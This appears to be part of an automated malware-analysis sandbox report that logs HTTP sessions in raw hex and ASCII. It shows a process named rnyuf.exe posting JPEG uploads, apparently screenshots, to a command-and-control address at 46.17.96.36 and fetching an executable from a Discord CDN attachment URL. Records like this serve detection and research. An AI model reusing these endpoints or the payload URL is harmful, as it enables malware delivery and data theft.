Aug 29, 2021 22:27:24.671242952 CEST	4474	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:24.671456099 CEST	4484	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:24.671814919 CEST	4487	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:24.711401939 CEST	4509	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:24.711532116 CEST	4514	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:27:24.750602007 CEST	4521	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:27:24.750655890 CEST	4536	OUT	Data Raw: bd cd ae 3c d4 1d b3 fc fd fd 2b e7 40 4a b0 65 24 10 72 08 ed 5b e9 e2 5b 88 35 7b 4d 72 16 ff 00 4e 55 09 72 bd 04 d8 00 64 ff 00 bc 3a fb 8c f7 15 d7 88 ca 60 dd e9 e9 a7 e3 ff 00 07 f3 38 f0 f9 b4 d2 b5 4d 75 fc 3f e0 7e 47 4b f1 0b fe 48 b6 Data Ascii: <+@Je$r[[5{MrNUrd:`8Mu?~GKH^k~!+kgu]1R4(R){RR-wZbaKIJ(ZJ)8S%p!mpm:ZAKTH)i)E4KO)T`ii-PpA"
Aug 29, 2021 22:27:24.750762939 CEST	4557	OUT	Data Raw: 69 5a 00 c5 3b 14 98 a2 c3 b8 a2 97 14 0a 76 29 89 88 29 71 cd 18 a7 77 a6 48 80 53 80 cd 25 38 55 22 58 84 52 62 9e 45 25 0c 06 e2 96 97 14 b8 a6 02 01 4e 14 01 4b 40 98 52 1a 75 03 93 4c 40 a2 a4 51 4d a9 07 02 ad 22 1b 1a d4 ca 94 8e 2a 32 28 Data Ascii: iZ;v))qwHS%8U"XRbE%NK@RuL@QM"*2(` RB(R<V4Q@$QNHD)jKERJM6u cih)i)GZsKLAP(:)ANpLuE!1hP#c6z7s5Q}Ma
Aug 29, 2021 22:27:24.750794888 CEST	4567	OUT	Data Raw: eb 9c a5 a7 ec d0 b9 d9 6b 52 d5 35 0d 6a f9 af 35 2b db ab b9 79 08 6e 66 69 4a 2e 49 0a 0b 76 19 3c 55 6a 6f 7a 5a a8 45 45 59 13 29 39 3b b1 48 c8 c5 75 11 f8 e2 78 bf b2 dd 74 d8 be d1 a7 5a c9 1a 4a cc 18 49 3b 20 8d 66 65 65 20 95 8d 55 42 Data Ascii: kR5j5+ynfiJ.Iv<UjozZEEY)9;HuxtZJI; fee UB23\(pSVa8+]hnD/mV<&6]^>3O-8Sp]*W=EC]UrjRK]-$8;nq{{}J}ZN7rOt&R06@ws~
Aug 29, 2021 22:27:24.786503077 CEST	4571	OUT	Data Raw: 8a 43 1d 9a 33 4d cd 19 a0 2c 3b 34 94 dc d2 66 95 c7 61 e4 d2 66 9b 9a 4c d2 b8 ec 3b 34 66 99 9a 09 a2 e1 61 d9 a0 9a 6e 69 33 4a e3 b0 a6 8a 4c d1 9a 41 61 73 41 34 dc d2 13 45 c7 61 49 a4 cd 37 34 86 a6 e5 58 75 37 bd 19 34 94 0c 53 d6 83 46 Data Ascii: C3M,;4fafL;4fani3JLAasA4EaI74Xu74SFi3H%ZAE.h5isUpi3IIHvI)JQ@i4S+OCK-4Ss<qdzh5YN(;NI?6TiJ\(\|*?]SxC&/o'"ld+
Aug 29, 2021 22:27:24.860306025 CEST	4759	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49768	162.159.134.233	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:24.698983908 CEST	4487	OUT	GET /attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe HTTP/1.1 Host: cdn.discordapp.com
Aug 29, 2021 22:27:24.726705074 CEST	4515	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 29 Aug 2021 20:27:24 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 29 Aug 2021 21:27:24 GMT Location: https://cdn.discordapp.com/attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OGkVzr%2Bl1V52U9RIFP%2B56H3qsjD8XtHI5%2FWm5gFnZfyl3D2fKbUn1OdkcFBuc%2BotiHWR65H3QZwVjRmUYdJioEFQZ7ZIitmtk51ln1zNJ3sO%2BEtQ75phEKB%2F6TeMftgFP8oUHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 686885176af05b44-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49770	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:25.227890968 CEST	4841	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----9af1e57389b70ac42b360f895ff149c0 Host: 46.17.96.36 Content-Length: 108322 Cache-Control: no-cache
Aug 29, 2021 22:27:25.228162050 CEST	4841	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 61 66 31 65 35 37 33 38 39 62 37 30 61 63 34 32 62 33 36 30 66 38 39 35 66 66 31 34 39 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------9af1e57389b70ac42b360f895ff149c0Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:25.228411913 CEST	4851	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:25.228549957 CEST	4854	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:25.263346910 CEST	4857	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:25.263407946 CEST	4862	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:25.263546944 CEST	4873	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:25.263720036 CEST	4874	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:27:25.263787985 CEST	4879	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:25.298468113 CEST	4882	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:25.298510075 CEST	4894	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:25.406219959 CEST	4949	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49771	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:25.652867079 CEST	4950	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----18482e8eccd3978e1e99c57ecdc4fd2f Host: 46.17.96.36 Content-Length: 109159 Cache-Control: no-cache
Aug 29, 2021 22:27:25.653117895 CEST	4950	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 38 34 38 32 65 38 65 63 63 64 33 39 37 38 65 31 65 39 39 63 35 37 65 63 64 63 34 66 64 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------18482e8eccd3978e1e99c57ecdc4fd2fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:25.653384924 CEST	4960	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:25.653583050 CEST	4963	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:25.687438965 CEST	4966	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:25.687495947 CEST	4979	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:25.687833071 CEST	4983	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:25.687859058 CEST	4985	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:25.687964916 CEST	4988	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:25.721311092 CEST	4991	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:25.721363068 CEST	5015	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:25.837187052 CEST	5060	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49772	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:26.137660980 CEST	5060	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----c5a841f4f1c49d0b014c71075a2e4e94 Host: 46.17.96.36 Content-Length: 109415 Cache-Control: no-cache
Aug 29, 2021 22:27:26.137758017 CEST	5060	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 35 61 38 34 31 66 34 66 31 63 34 39 64 30 62 30 31 34 63 37 31 30 37 35 61 32 65 34 65 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------c5a841f4f1c49d0b014c71075a2e4e94Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:26.137959003 CEST	5071	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:26.138165951 CEST	5073	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:26.173444986 CEST	5076	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:26.173578024 CEST	5079	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:26.173594952 CEST	5081	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:26.173918962 CEST	5099	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:26.209224939 CEST	5101	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:26.209259987 CEST	5109	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
